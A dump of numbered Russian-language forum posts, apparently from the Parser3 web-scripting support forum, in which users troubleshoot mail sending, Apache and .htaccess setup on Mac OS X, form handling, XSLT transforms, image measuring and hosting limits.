/: '/home/webusers/mrvoav_web/html/cgi-bin/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/home/webusers/mrvoav_web/html/cgi-bin/auto.p', fuid(10007)!=euid(81) or fgid(1003)!=egid(81) [parser.runtime]\
\
Подскажите, пожалуйста, что сделал не так и как это исправить?"
"68412","в свою очередь будьте добры, подправьте выдаваемые http заголовки чтобы кодировка в них (сейчас -- 1251) соответствовала кодировке контента (сейчас -- utf8).\
\
P.S. а если сделаете описание на английском, я смогу добавить ссылку и на англоязычную страницу."
"68413","Было все правильно, но вчера вечером решил обновить на хосте Parser, но поторопился удалить старый, така как новый ни один не подходит, а кодировка в старом auto.p как раз и была utf-8.\
Уже аписал письмо в поддержку."
"68415","появилась проблема с оправкой писем на хостинге webxl.ru\
\
так было раньше:\
[code]$MAIL[\
   $.SMTP[localhost]\
]\
\
^mail:send[\
	$.from[Василий Пупкий <robot@test.ru>]\
	$.to[spamer@yandex.ru <spamer@yandex.ru>]\
	$.subject[Здравствуйте уважаемый спамер]\
	$.text[Как у тебя дела? У меня - изумительно!] \
][/code]\
это работало без проблем\
\
после того как на сервере произошли изменения, связанные с почтой это перестало работать, а именно письма просто перестали оправляться. симптомов и ошибок абсолютно не каких - то есть все работает как и раньше, за исключением того что письма не оправляются. написал в саппорт хостинга, вот попросили узнать:\
\
[i]Возможно, парсер не отправляет письма, если он делает это не через локальный MTA, а напрямую через 25 порт сервера.\
\
Но это необходимо выяснить - проще всего спросить у разработчиков.\
Вы можете поинтересоваться у разработчиков, как парсер отправляет письма - через локальный MTA или напрямую коннектится к удаленным серверам на 25 порт?[/i]"
"68416","Уберите из auto.p определение переменной $MAIL, тогда Парсер будет пробовать отправлять письма через локальный sendmail-интерфейс."
"68417","Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@forum.amikron.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception."
"68418","А заодно версию и тип операционной системы на хостинге."
"68419","WWW папка:  /home/amikro00/public_html\
Корневая папка: /home/amikro00 \
Путь к Sendmail: /usr/sbin/sendmail\
Версия Apache: 1.3.41 (Unix)\
Версия MySQL: 5.0.51a-community-log\
Версия ядра О/С: 2.6.23.15-80.fc7\
\
подстановка пути /usr/sbin/sendmail тоже приводить к ошибке\
\
запись из [b]parser3.log[/b]\
[i][Sun Nov 30 14:47:51 2008] [16129] /mail.html: /home/amikro00/forum/mail.html(1:7): 'send' '/usr/sbin/sendmail' reported problem: UNKNOWN (1) [email.send] [uri=/mail.html, method=GET, cl=0][/i]"
"68422","Andre, если не сложно, расскажите по-подробнее как всю эту красоту установить в Леопарде."
"68424","Вот как сконфигурировано все у меня:\
\
[b]1. Apache 2[/b] уже есть в системе, включается/выключается в Настройки->Общий доступ->Общий веб-доступ, настраивать мне ничего не пришлось. Стандартно путь к файлам сайта и CGI скриптам: \
[code]/Library/WebServer/Documents\
/Library/WebServer/CGI-Executables. [/code]\
Единственным неудобством для меня были странное поведение системы при создании виртуалхостов вручную (видимо из-за рук, хотя в Тигре все прекрасно правилось :)), эта проблема решилась покупкой (всего за 7$) программы VirtualHostX, в которой требовалось ввести лишь домен и путь к папке с файлами. Например у меня так:\
[code]/Library/WebServer/Documents/local.site1\
/Library/WebServer/Documents/local.site2\
...[/code]\
\
[b]2. MySQL[/b] был скачал с официального сайта для 10.5, в том числе с инструментарием по настройке БД (которым не пользуюсь). Клиент для управления БД - Sequel Pro (бесплатный). Там есть плагин для Настроек, где у меня стоит галочка напротив Automatically start MySQL Server on startup. И все работает как часы.\
\
[b]3. Parser[/b]. Загружаете сам Парсер и драйвера баз данных. Теперь кладете все вот-так:\
[code]/Library/WebServer/CGI-Executables/charsets/тут стандартно кодировки из архива\
/Library/WebServer/CGI-Executables/lib/libparser3mysql.so\
/Library/WebServer/CGI-Executables/lib/libparser3sqlite.so\
/Library/WebServer/CGI-Executables/auto.p\
/Library/WebServer/CGI-Executables/parser3[/code]\
\
[b]4. .htaccess[/b] у меня в папке с каждым сайтом такой:\
[code]IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*\
\
<Limit GET POST>\
order deny,allow\
deny from all\
allow from all\
</Limit>\
\
<Limit PUT DELETE>\
order deny,allow\
deny from all\
</Limit>\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3\
\
<Files ~ \"\\.(p|cfg|log)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
RewriteEngine On\
RewriteOptions inherit\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	index.html?uri=/$1 [QSA,L][/code]\
\
Rewrite уберите, если не нужен.\
\
[b]5. Небольшие дополнения[/b].\
В VirtualHostX в поле Custom directives к каждому локальному сайту у меня написано:\
[code]<Directory />\
	Options FollowSymLinks\
	AllowOverride None\
</Directory>\
\
<Directory \"/Library/WebServer/Documents/local.НАЗВАНИЕ САЙТА\">\
	Options Indexes FollowSymLinks MultiViews\
	AllowOverride All\
	Order allow,deny\
	Allow from all\
</Directory>[/code]\
\
У меня по крайней мере без этого .htaccess Apache не видит.\
Как ни странно, но на макбуке все в точности также, но .htaccess видно и без Custom directives. Системы одинаковые. \
\
Вот, вроде ничего не забыл, если что, спрашивайте :)"
"68425","Спасибо, заработало! )))\
\
А по поводу .htaccess - в httpd.conf параметр AllowOverride на All переставьте"
"68426","А тут забыл и выкрутился через програмку, совсем разленился :)"
"68427","плюс совсем обленился -- не зашел и не глянул, что там уже есть ссылка на ваш парсер.\
\
добавил и этот.\
\
P.S. мне кажется, что когда мы говорим про английский язык, то нужно писать 'In English' (с большой буквы). ну и я бы куда-нить наверх её поднял, и на всякий случай с птички ссылку на parser.ru поставил, вдруг кто-то туда забредёт но не поймёт о чем это вообще %-)"
"68428","Сам не знаю чем думал когда страничку лепил :)\
Видимо на радостях просто :)\
Язык исправил, наверх поднял, птичку залинковал.\
Спасибо за дельные советы ;)"
"68429","http://st.artgroup.ru/arenda/\
если посмотреть HTML (исходник), то на карте метро, отдельная станция имеет код типа такого:\
[code]\
<div style=\" width: 70 px;  position:absolute; z-index:2; margin-left:289px; margin-top:129px;\"  title=\"Петровско-разумовская\">\
	<a href=\"javascript:void(0);\" onClick=\"map_add_point(this)\" style=\"display:block; text-align:justify;\" class=\"metro_id\" id_m=\"1275068418\">\
		<img src=\"/data/sp.gif\" width=\"9\" height=\"9\" border=\"0\" align=\"left\" style=\"padding-right:61px;\"/>\
	</a>\
</div>\
[/code]\
прошу обратить внимание на первую строку, где задана width в style. Там задано 70px.\
При просмотре в IE6, IE7, FF3 (оперу не пробовал) получается хрень, что браузер не понимает эту ширину.\
Проверял в FF (fireBug), IE6-7 (IE Developer Toolbar).\
Такое ощущение, что эта ширина фильтруется чем-то. Скрипты отключал.\
Если это не глюк, а кривые руки, помогите выпрямить, пожалуйста... :)"
"68430","при создании двух таблиц с образцами данных код работает.\
если делать\
[code]$loss[^table::create{pxx	pvs1	pvs2	pvn1	pvn2	snom	idvn_1_1	idvn_1_2	idvn_1_3	idvn_1_4\
30	140	39	132	84	25000	51	1	1	1\
}][/code]\
а вторую таблицу брать из базы то тоже работает, т.е. проблема именно тут.\
\
из базы $lost достается так\
[code]$loss[^MAIN:pSQL.table{SELECT\
		loss.pxx,\
		loss.pvn1,\
		loss.pvn2,\
		loss.snom,\
		loss.idvn_1_1,\
		loss.idvn_1_2,\
		loss.idvn_1_3,\
		loss.idvn_1_4\
	FROM\
		a_loss_transformer loss INNER JOIN\
		a_groups groups ON groups.losstransformer = loss.id\
	WHERE\
		groups.id = $TableGr.group_id}][/code]\
$TableGr.group_id - id текущей группы из другой таблицы\
\
[code]^if(^TableGr.locate[counter_id;$loss.id_1_1]){\
	<script type=\"text/javascript\">\
		alert('!!! ^tableGr.line[]')\
	</script>\
}[/code]\
menu не критично, т.к. достается всегда единственная строка в $loss\
\
временно сделал изменение, благодаря которому отложил решение этой проблемы, нет на это времени."
"68431","прошу прощения что отнял время"
"68432","чтобы проще было увидеть наличие мешающих пробельных символов (если ваш редактор их не показывает) можно использовать опцию $.encloser[\"]\
\
ещё, скорее всего вы увидите проблему с помощью примитивного кода:\
[code]\
^TableGr.menu{\
	'$TableGr.counter_id' eq '$loss.id_1_1'? ^if($TableGr.counter_id eq $loss.id_1_1){yes}{no}\
}[<br />]\
[/code]\
\
\
[quot]\
временно сделал изменение, благодаря которому отложил решение этой проблемы\
[/quot]\
\
если вы отложили решение такой простой проблемы, то я не знаю как вы будете двигаться дальше.\
\
P.S. в ваших select и table::create я, кстати, не вижу поля id_1_1, но вижу idvn_1_1... т.е. ваш код должен выдавать ошибку и работать не долше. если вы пишите его тут ручками -- то искать в нем ошибку не вижусмысла, т.к. вы можете ошибиться и тут, и копируя его. COPY/PASTE -- рулез."
"68434","ХМ! Действительно! Помогло! :)))\
Теперь буду обращать внимание. :) Спасибо большое!"
"68435","Судя по тому как вы объяснили должно быть так:\
[code]^str.match[^^(?!lalala)(?:.+)(lalala)][ig]{$match.2}[/code]"
"68437","Всё равно та же ошибка:(("
"68438","Добрый день всем.\
\
Некогда, году этак в 2003-м, был написан некий код, который отказывается работать на новых версиях (3.2.0). Наверное, думаю не в ту сторону, подскажите, как быть. Итак:\
[code]\
$response:location[$request:uri]\
[/code]\
\
Раньше все работало, сейчас Apache отвечает - \"You don't have permission to access /adm/content/content.html?page_name=msk on this server. Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.\"\
\
Если его логи почитать, то увидим \"The given path contained wildcard characters: access failed\"\
\
Пробовал и [code]$response:refresh[/code] делать - все без толку.\
\
Куда копать?"
"68439","Недочитал немного форум...\
\
[code]$response:location[^untaint{$request:uri}][/code]\
\
Все работает. Прошу прощения, если кому-то доставил беспокойство."
"68440","такая проблема мне опять отклчили cgi-bin\
тех поддержка сказала что\
\"[quote]Ваши скрипты работают не корректно. Мы не можем рисковать работоспособностью ПО на сервере. Мы полагаем, что Вы запустили эти скрипты намеренно, чтобы навредить работе сервера. Отключаем \
аккаунт до выяснения.\
Ваш скрипт вешался на 80 порт из за чего apache не мог запуститься.[/quote]\"\
\
тех поддержка ссылалась на скрипт check.cgi\
\
у меня в файлах есть только это.. про то что они пишут\
\
[code]^if($form:check eq 'update_m'){\
     ^connect[$SQL.connect-string]{\
          ^void:sql{\
               UPDATE faq\
               SET\
                    type='$form:type',\
                    descr='$form:descr',\
                    autor='$form:autor',\
                    vopros='$form:vopros',\
                    otvet='$form:otvet',\
                    is_published='$form:is_published',\
                    t_count='$form:t_count',\
                    date_update='${date_now.year}-${date_now.month}-${date_now.day} ${date_now.hour}:${date_now.minute}:${date_now.second}',\
                    ip_update='$ip'\
               WHERE\
                    Id = '$find.Id'\
          }}[/code]\
\
скрипт как вы поняли просто делает обновление в базе, если форма получает значение update_m \
\
или я что то не догоняю или тех поддержка..\
пока мне сказали ждите, если история повториться без моего скрипта то мне включат cgi-bin обратно ... такое возможно ?"
"68441","они слабо представляют как работают cgi приложения.\
даже если вас включат обратно сейчас, то-же самое с большой вероятностью повторится, когда им ещё раз что-нить где-нить стрельнёт.\
\
P.S. \"Ваш скрипт вешался на 80 порт из за чего apache не мог запуститься\" -- бред. апач получает запросы, после этого он вызывает cgi-приложение-парсер и сообщает ему что и как было запрошено."
"68442","первый раз мне отключили cgi-bin сказали что идет слишком большая нагрузка.., хотя я сайт еще даже раскручивать на начал.. просто тестировал..\
сказали сменить тариф, и проблем больше не будет.. сменил на \"бизнес\".. опять история повторилась..\
\
но не уверен что вернут деньги.. монибэк возможен в течении 30 дней.. а я там уже почти пол года.\
\
если не секрет не подскажите не дорогой тариф.. в пределах 150р за сутки..\
\
все что нужно, это парсер, mysql, sendmail, ftp, mail по возможности shell"
"68443","150 рублей за сутки?\
За такие деньги можно уже выделенный сервер присмотреть :)\
\
Если не секрет, то что у вас за хостер такой?"
"68445","Делаю:\
[code]@E []\
<form method=POST>\
 <input type=\"checkbox\" name=\"num\" value=\"1\">Номер по списку\
 <input type=\"checkbox\" name=\"Surname\" value=\"1\">Фамилия\
 <input type=\"submit\" value=\"Редактировать\" name=\"posted\">  \
 <input type=\"reset\" value=\"Очистить\"> \
</form>\
#начало обработки \
^if(def $form:posted){^E2[$form:num; $form:Surname]}{Ничего не выбрано}}\
@E2[num;Surname]\
<form method=\"POST\" name=\"f2\">\
$tClass[^oSql.table{SELECT id, num, Surname FROM Students }]\
<Table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\
<tr>\
 <td>№ п/п</td>\
 <td>Фамилия </td>\
</tr>\
^tClass.menu{<tr>\
 <td>^if($num eq '1'){<input name=\"num${tClass.id}\" value=\"$tClass.num\" size=\"1\" maxlength=\"2\">}{$tClass.num}</td>\
 <td>^if($Surname eq '1'){<input name=\"Surname${tClass.id}\" value=\"$tClass.Surname\">}{$tClass.Surname}</td>\
 </tr>} \
</table>\
#Если в @E[] что-то отмечено, то выводим кнопки отправки, иначе то же, но без кнопок\
^if(def $num || $Surname){\
 <input type=\"submit\" value=\"Отправить\" name=\"f2\"> \
 <input type=\"reset\" value=\"Cancel\">}\
</Form> \
#начало обработки \
^if(def $form:f2){^bug[] отправляем}[/code]\
Получаю:\
При нажатии Отправить (submit для f2) выводится первая форма, как будто страница только загружена, а @bug[] вообще никогда не выполняется. Помогите найти ошибку."
"68449","хоть там и 300р/мес., зато проблем не будет с такой \"тех.поддержкой\"\
\
\"скупой платит дважды\" никто не отменял ;-)"
"68450","Изменил: \
[code]\
@E []\
<form method=POST>\
 <input type=\"checkbox\" name=\"num\" value=\"1\">Номер по списку\
 <input type=\"checkbox\" name=\"Surname\" value=\"1\">Фамилия\
 <input type=\"submit\" value=\"Редактировать\" name=\"posted\">  \
 <input type=\"reset\" value=\"Очистить\"> \
</form>\
#начало обработки \
^if(def $form:posted){^E2[$form:num; $form:Surname]}{Ничего не выбрано}}\
@E2[num;Surname]\
<form method=\"POST\" name=\"f2\">\
$tClass[^oSql.table{SELECT id, num, Surname FROM Students }]\
<Table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\
<tr>\
 <td>№ п/п</td>\
 <td>Фамилия </td>\
</tr>\
^tClass.menu{<tr>\
 <td>^if($num eq '1'){<input name=\"num${tClass.id}\" value=\"$tClass.num\" size=\"1\" maxlength=\"2\">}{$tClass.num}</td>\
 <td>^if($Surname eq '1'){<input name=\"Surname${tClass.id}\" value=\"$tClass.Surname\">}{$tClass.Surname}</td>\
 </tr>} \
</table>\
#Если в @E[] что-то отмечено, то выводим кнопки отправки, иначе то же, но без кнопок\
^if(def $num || $Surname){\
 <input type=\"submit\" value=\"Отправить\" name=\"f2\"> \
 <input type=\"reset\" value=\"Cancel\">}\
</Form> \
#начало обработки \
form:posted -- $form:posted --<br>\
form:f2 -- $form:f2 --<br>\
^if(def $form:posted || def $form:f2){[color=\"#ff0000\"] отправляем[/color]}\
[/code]\
Получаю:\
При нажатии Редактировать (submit для posted) вижу значение $form:posted без $form:p2 и [color=\"#ff0000\"] отправляем[/color], т.е. вторая форма как бы сама себя отправила. Если\
[code]\
^if(def $form:posted && def $form:f2){отправляем}\
[/code]\
то становится как было, а значение $form:p2 так и не отображается."
"68452","Здравствуйте. я в парсер начал учить  не давно,поетому  вот у меня вопрос. как здлеать чтоб шаблон сайта был в XML файле и формировался XSLT шаблоном? \
\
\
И как можно зделать много язчный сайт с XSLT шаблономи?"
"68453","да очень просто: делаете xml с xslt, а потом просите парсер выполнить трансформацию и готово.\
\
что конкретно вам непонятно?"
"68454","Исправил. Но не понял. Если не трудно, объясните, что происходит со страницей в обоих случаях. (Иначе, если будет три, четыре, ...,  формы на странице - опять сюда?)"
"68455","Ну если в index.html ложим что-то такое:\
\
# Преобразуем XML в html \
$sourceDoc[^xdoc::load[templ.xml]] \
$transformedDoc[^sourceDoc.transform[templ.xsl]] \
^transformedDoc.string[ \
    $.method[html] \
] \
\
\
В templ.xml положить шаблон сайта \
а там где я хочу чтоб выводились модули сайта и контент вписать переменные парсера из auto.p?\
\
ну получится страничка.  но как зделать как тут описано?\
http://www.artlebedev.ru/tools/technogrette/xslt/multilang/\
\
Как поставить ( или куда ) переменную что бы при выборе языка загружались другие шаблоны или контент?\
\
=_=* - Вроде всё просто, но не получается."
"68456","Вопрос.\
Есть у меня небольша наработка для выполнения автоматических действий по реакции на события.\
Как вы думаете - будет ли полезен такой функционал в классе SQL?"
"68457","наработка может быть размером в 200 КБ и использоваться раз в пятилетку. или быть размером в 50 байт.\
\
очевидно, что в этих двух ситуациях моё мнение по внедрению её в SQL классы (или даже в драйвер) будет различным."
"68458","Налицо явная необходимость купить любую книжку про HTML.\
\
Чтобы научится писать человеческий HTML-код и понимать что такое отправка формы."
"68459","Тут вопрос в том что можно реализовать дополнение к классам. С нуля. Просто как идея.\
При инициализации класса добавлять еще выполнение чего-либо по заданным событиям.\
Вот столкнулся с нужностью данной фичи на одном проекте.\
Сделал свои костыли, но это же можно сделать красиво и внести в базовый функционал имеющегося класса"
"68460","У вас не вызывает Internal Server Error?"
"68463","красивый редактор"
"68464","по каким-таким sql-событиям нужно что-то делать при инициализации класса мне не очень понятно.\
\
делать что-либо при установлении соединения я ещё могу предположить, но для этого можно например перекрыть метод setServerEnviroment (понимаю, что для задуманного метод с подобным названием -- не лучший выбор)"
"68465","[Thu Dec 04 02:30:53 2008] [error] [client 127.0.0.1] Premature end of script headers: parser3\
\
Понятия не имею почему. В принципе мне особо не мешает, так как Parser на маке использую только для разработки, на хосте стоит FreeBSD.\
\
Но если кто знает почему ^memory:compact[] может не работать, подскажите:)"
"68466","Я пользуюсь не так давно, месяца три, но наш сайт http://www.usetrans.com как раз на нем работает. Пока проблем не было."
"68467","Кука, записанная на mysite.com, не видна на www.mysite.com.\
Делать две куки - решение, как я понимаю, неграмотное.\
Как решить грамотно?"
"68470","hostia.ru\
\
щас все нормально, принесли извинения.., продолжаем работать )))"
"68471","насчет скупого, просто гляда на все тарифы там места больше 100метров, мне для сайта и 50 хватает.. а переплачивать за место .. мне пока нет смысла ))"
"68472","что вам мешает не грузить внешний xml, а генерить его на основании своих методов?\
\
а полученный xml потом трансформить внешним xslt шаблоном (можно и не внешнем, а также сгенерённым, только по моему это как-то неправильно)."
"68473","Есть форум. Хочется, чтобы все сообщения появлялись на сайте в оттипографленном виде. Как делать лучше (и почему): типографить перед добавлением в базу, или сохранять в базе as is, а типографить при выдаче? Мне кажется, что лучше в базе сохранять исходное сообщение (т.к. вдруг типограф что-то там запортит), но тогда выдача начинает занимать слишком много времени: если в ветке, скажем, 100 комментариев, то 100 отдельных запросов к веб-сервису -- это не вариант.\
\
Как поступают знающие люди? Спасибо."
"68474","Много возни, мало толку.\
\
Но если уж сильно хочется, то правильней хранить два экземпляра сообщения: оригинал и оттипографленное."
"68475","Как передать в внешний xsl параметр, например:\
xsl - лежит файлом - так нельзя передать:\
[code]\
<xsl:variable name=\"variable\" select=\"$EXTERNALVAR\"/>\
[/code]\
где $EXTERNALVAR - некая парсеровская стринговая переменная\
\
может есть путь без нагромождении типа setAttribute или setNode в исходный xsl или обрабатываемый им xml?\
\
Если я правильно понял, при подгрузке xsl в ^xdoc.transform[xsl], parser  в него не смотрит а передает сразу xsl процессору. так ли это ? Пойду посмотрю исходники"
"68476","Надо не исходники смотреть, а внимательно документацию прочитать,\
[url=\"http://www.parser.ru/docs/lang/?xdoctransform.htm\"]вот здесь[/url]."
"68477","Ну как исходники?\
\
Вот ответ в документации: http://www.parser.ru/docs/lang/xdoctransform.htm\
Третья строчка сверху."
"68478","Мне кажется, типографить нужно на клиентской стороне, а на сервере только проверять данные. Так и пользователь будет видеть, что получается, и сервер не будет нагружен.\
\
Типографить форум через веб-сервис - это вообще плохая идея."
"68479","А вы, может, справились с этой проблемой?"
"68480","Все-таки надежнее и безопаснее типографировать именно на сервере и хранить в базе два экземпляра. Тем более, что оригинал (особенно в форуме) может быть размечен не html-разметкой (bbcode, wiki и пр.), которая потребуется в исходном виде для редактирования сообщений.\
\
Что касается сторониих веб-сервисов, то все зависит от нагрузки в каждом конкретном случае. Я бы в этой ситуации спросил бы разрешения владельцев - вдруг они не готовы оплачивать большой трафик."
"68481","Мне нужно иногда передавать данные между Парсером и чем-то еще. На самом деле приходилось отдавать данные в Perl, php и flash. Ещё принимать данные из C++, Perl и flash. Не скажу, что это часто нужно... [b]Но гораздо чаще, чем отправлять почту из Парсера, создавать в нем изображение или банить кого-то по ip.[/b]\
\
Сейчас весь такой обмен приходится строить на XML. Зачем - непонятно. Мы передаем данные одной программы другой программе. В этой задаче все достоинства XML превращаются в недостатки.\
\
Для обмена с JS еще как-то подходит JSON. Для других целей нужен бинарный формат, например, [url=\"http://code.google.com/p/protobuf/\"]protobuf[/url].\
\
Ну я полез на code.google.com, почитал список языков, которые уже сейчас поддерживают работу с protobuf, порадовался и стал пробовать сделать реализацию для Парсера.\
\
Оказалось, что Парсер не умеет работать с бинарными данными. Можно открыть файл, но невозможно работать с его содержимым. Потому что string не может содержать некоторые символы. Теоретически...\
\
Полез в исходники, убрал одну проверку... В итоге удалось получить строку, содержащую любой набор символов. Но сохранить её нельзя. Мешает символ ^#00, на котором строка \"заканчивается\". Похоже, без создания нового системного класса тут не обойтись.\
\
[b]Вопрос: нужна ли вам, разработчикам, возможность работы с бинарными данными? Как вы сейчас обходите эту проблему?[/b]"
"68482","1. Как тогда показать пользователю сообщение в том виде, в котором его увидят другие? Делать ajax-запрос? Безопасный вариант, конечно... Но медленный.\
\
2. bbcode - это вообще ошибка природы. Правда, это не помешает его использовать. Там все преобразования обратимы (снова в html), насколько я помню. Про wiki не знаю.\
\
3. Например, у меня есть два варианта текста: с типографикой и без неё. Пользователь отправил сообщение (без предпросмотра) и всё сломалось. Он решил отредактировать текст и увидел тот вариант, который без типографики. Всё. Взрыв мозга."
"68483","... которая умеет получать и выдавать данные в текстовом формате, а сама общается с некоторым сервисом по бинарным протоколам.\
\
Альтернатива - использовать обвязку на другом языке, чтобы создать веб-сервис с необходимым функционалом. После чего можно с ним работать штатными средстваими Парсера. При этом использовать xml совсем необязательно (очень часто достаточно передавать параметры GET'ом и получать ответ в plain-text, т.е. опять обычный юникс-подход). Кроме того, не следует забывать про модный нынче REST-подход. \
\
Возможно, что в вашей задачи хватит этих средств и особой необходимости во всяких protobuf'ов, thrift'ов и пр. не будет. :)"
"68484","Можно спокойно все сделать без аякса - простым POST'ом на сервер. Собственно как и далеют до сих пор все нормальные форумы, которые используют для таких задач минимум яваскрипта.\
\
В вашем варианте прийдется на сервере санитайзить html, что тоже процесс не быстрый."
"68485","Мне нужно сложные структуры данных передать в ActionScript. Не три параметра, а 300 объектов. Я могу передавать такие штуки GET/POST-параметрами, но это сильно усложняет жизнь. И медленно работает.\
\
Внешней программе объекты сливать тоже довольно долго. Хотя, можно попробовать. Насколько я понимаю, Парсер без проблем сможет отдать по http бинарный результат работы внешней программы. Учитывая, что поддержку protobuf в Парсере получить нереально вообще никогда, этот метод должен работать даже быстрее, чем что-то внутрипарсерное."
"68486","... от качества алгоритма сериализации, котоырй Вы применяете (xml, очевидно, не лучшее решение в этом случае). Скорость обмена с веб-сервисом можно сильно повысисть сжатием контента gzip'ом.\
\
Кроме того, стоит подумать над тем, чтобы разбить передачу 300 объектов на части (несколько запросов), что позволит ускорить визуальную скорость работы интерфейса клиентской части."
"68490","Следующий код работает нормально:\
[code]\
  $fImage[^image::measure[/images/test.jpg]]\
\
  $fImage.width\
[/code]\
\
А вот следующий:\
[code]\
  $fFile[^file::stat[/images/test.jpg]]\
  \
  $fImage[^image::measure[$fFile]]\
\
  $fImage.width\
[/code]\
выдает ошибку \"[b]getting value of stat-ed file[/b]\" при попытке создания объекта через ^image::measure[].\
Судя по [url=\"http://www.parser.ru/docs/lang/?imagemeasure.htm\"]документации[/url] оба кода должны работать."
"68491","^file::stat не загружает файл, он лишь собирает данные согласно документации.\
\
Нужен ^file:load."
"68493","[quot]Создает объект класса image, измеряя размеры существующего графического файла или [b]объекта класса file в поддерживаемом формате[/b] (сейчас поддерживаются GIF, JPEG и PNG).[/quot]\
\
Видимо нужно подравить доку, либо подправить исходники, т.к. файл measure не создает изображение, а делает то же самое что и measure."
"68494","Поясняю.\
Есть два варианта (согласно доке):\
[code]^image::measure[файл] \
^image::measure[имя файла][/code]\
Т.е. надо передать файл (объект), либо имя файла -- тогда конструктор загрузит его с диска.\
\
^file::stat[] создаёт \"кастрированный\" объект типа файл, который не хранит содержимого файла (проверка: $f.text будет пустым, ^f.save[] упадёт с ошибкой).\
\
Соответственно, два пути -- передавать конструктору measure объект, созданный посредством ^file::load[], либо:\
[code]$f[^file::stat[filename]]\
$fImage[^image::measure[$f.name]][/code]\
здесь произойдёт ещё одно обращение к файлу на диске после ^file::stat[]."
"68495","Поиск не помог, делаю тред. Использую Nconvert и классы для работы с ним на куче сайтов - всё работает отлично, всем спасибо. Но пару раз был такой затык: просто переношу сайт с \"дева\" на живой хостинг, ставлю Nconvert для нужной ОС, меняю путь к нему при создании объекта.\
\
При ресайзе картинок файлы создаются, проблем нет. Но они не ресайзятся! То есть, если 3 файла шириной 500, 125 и 70, а загружать файл 600 по ширине, то будет просто 3 файла 600 по ширине.\
\
Почему такое?\
\
Ну и код впридачу.\
[code]\
$oImg[^NConvert::create[\
	$.sScriptPath[/../cgi-bin]\
	$.sScriptName[nconvert]\
]]\
\
^oImg.resize[$sFilesPath/$formImageName;$sFilesPath/+$formImageName;;200;$.bKeepRatio(1) $.bRemoveMeta(1) $.sResizeType[decr]]\
[/code]\
\
Количество и \"качество\" параметров менял, Nconvert клал в и вне корня веб-пространства. Не помогает. Halp..."
"68496","Спасибо, тоже была такая проблема, теперь все ок."
"68497","Провайдер постоянно урезает функционал. Сначала отключили большую часть модулей Апача. А на днях опять провели какую-то ревизию. Все эти \"изменения\" приводят к полному краху сайта. Сегодня сайт вылетает с 500 ошибкой. В логе ошибок: \"Resource temporarily unavailable: couldn't spawn child process: /home/***/public_html/***/cgi-bin/parser3.cgi\". Служба поддержки говорит, что скрипт при запуске съедает больше 32Мбайт памяти.\
\
Насколько оправдано их обвинение?\
Посоветуйте, как выйти из сложившейся ситуации?"
"68498","Смотря какой скрипт. Сам parser3.cgi, конечно, столько памяти не должен потреблять.\
Но, возможно, он обрабатывает большой объем данных? Или просто ошибка в скриптах?\
Попробуйте простейший test.html запустить...\
\
[quote]Посоветуйте, как выйти из сложившейся ситуации?[/quote]\
Есть нормальные хостинг-провайдеры. Например, masterhost меня почти всем устраивает. Хотя, не знаю, как там насчет модулей apache."
"68499","а именно: что вам не хватает количества одновременных процессов. например вы имеете 16 процессов. если у вашего сайта будет 17 одновременных запросов -- то семнадцатый отгребёт такую ошибку.\
\
и не забываем, что обращение к одной странице скорее всего приводит к нескольким одновременным запросам (картинки, скрипты, css, [i]frame).\
если вы обращаясь к сранице получаете такое сообщение, то также возможно что есть какие-то \"подвисшие\" скрипты, хотя у нас такое случается очень редко, и в основном из-за скриптов, работающих из cron.\
\
\
что касается памяти, то 32 МБ не такой уж маленький лимит. например наш imprimatur в него вписывается (с достаточно базовым функционалом, не забываем что в нём используется достаточно ресурсоёмкие xml/xsl операции).\
\
хотя, как вам уже сказали, многое зависит от того, как написать код. возможно в вашем коде имеются какие-либо сильные неоптимальности, которые запросто съедают всю память.\
\
P.S. \"пока гром не грянет...\". раньше стоило взять в руки rusage или Erusage.p и вы бы уже имели статистику по времени/памяти и список страниц с потенциальными проблемами."
"68500","Попробуйте запустить nconvert из консоли и посмотрите уменьшает ли?\
Посмотрите в какими параметрами происходит вызов nconvert из Парсера. Проблема вероятно там. Особенно если у вас девелоперская машина работает по виндами. Они в этом плане многое прощают, в отличии от nix"
"68501","в результате выполнения инструкции file::stat получается \"куцый\" объект класса file, который не может использоваться для многих операций (например вы не можете его выдать в response, отправить по почте, измерить и т.д.)\
\
причина проста и явно следует из предназначения данной инструкции: получить информацию о файле, но не считывать содержимое файла.\
\
измерение (measure) анализирует содержимое, поэтому также не может работать с объектом, полученным в результате выполнения file::stat"
"68502","Делаю:\
[code]\
@SortTable[]\
$Table[^table::create{num	razdel	theme \
1	1	fgfgfdgfdgfdg\
2	1	dfdsfdsfdsfdsfds\
3	1	dsafjkhskjfhdsjk\
1	2	sdsadsadsad\
2	2	dfdsfdsfdsfdsfdsf\
}]\
^table.sort($Table.razdel)\
razdel	num	theme\
^table.menu{$Table.razdel	$Table.num	$Table.theme}\
[/code]\
\
Получаю:\
Таблицу, отсортированную по razdel, но смешанную по num\
Хочу получить:\
Таблицу, отсортированную по razdel, строки с одинаковым razdel, отсортировать и по num"
"68503","Где «1000» — число возможных подразделов раздела, с запасом.\
Не красиво, но просто.\
\
Можно сложнее - посчитать количество подразделов для каждого из разделов, и высчитать общий коэффициент сортировки для подразделов.\
Универсальней, но сложней.\
\
Лучше всего пользоваться БД."
"68504","Собственно проблема:\
Имеем libxslt который поддерживает xslt 1.0\
При трансформации xml - который в результате трансформации суть кусок html кода с корневым элементом div, в этот корневой элемент вставляется объявление нэймспейса.\
Вопрос как избавиться от этого аттрибута средствами xsl, с целью достижения полного мира с xhtml/strict?\
\
обявления нэймспейсов и output в xsl\
\
[code]<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:xhtml=\"http://www.w3.org/1999/xhtml\" xmlns=\"http://www.w3.org/1999/xhtml\" version=\"1.0\">\
<xsl:output method=\"xml\" omit-xml-declaration=\"no\"/>[/code]\
\
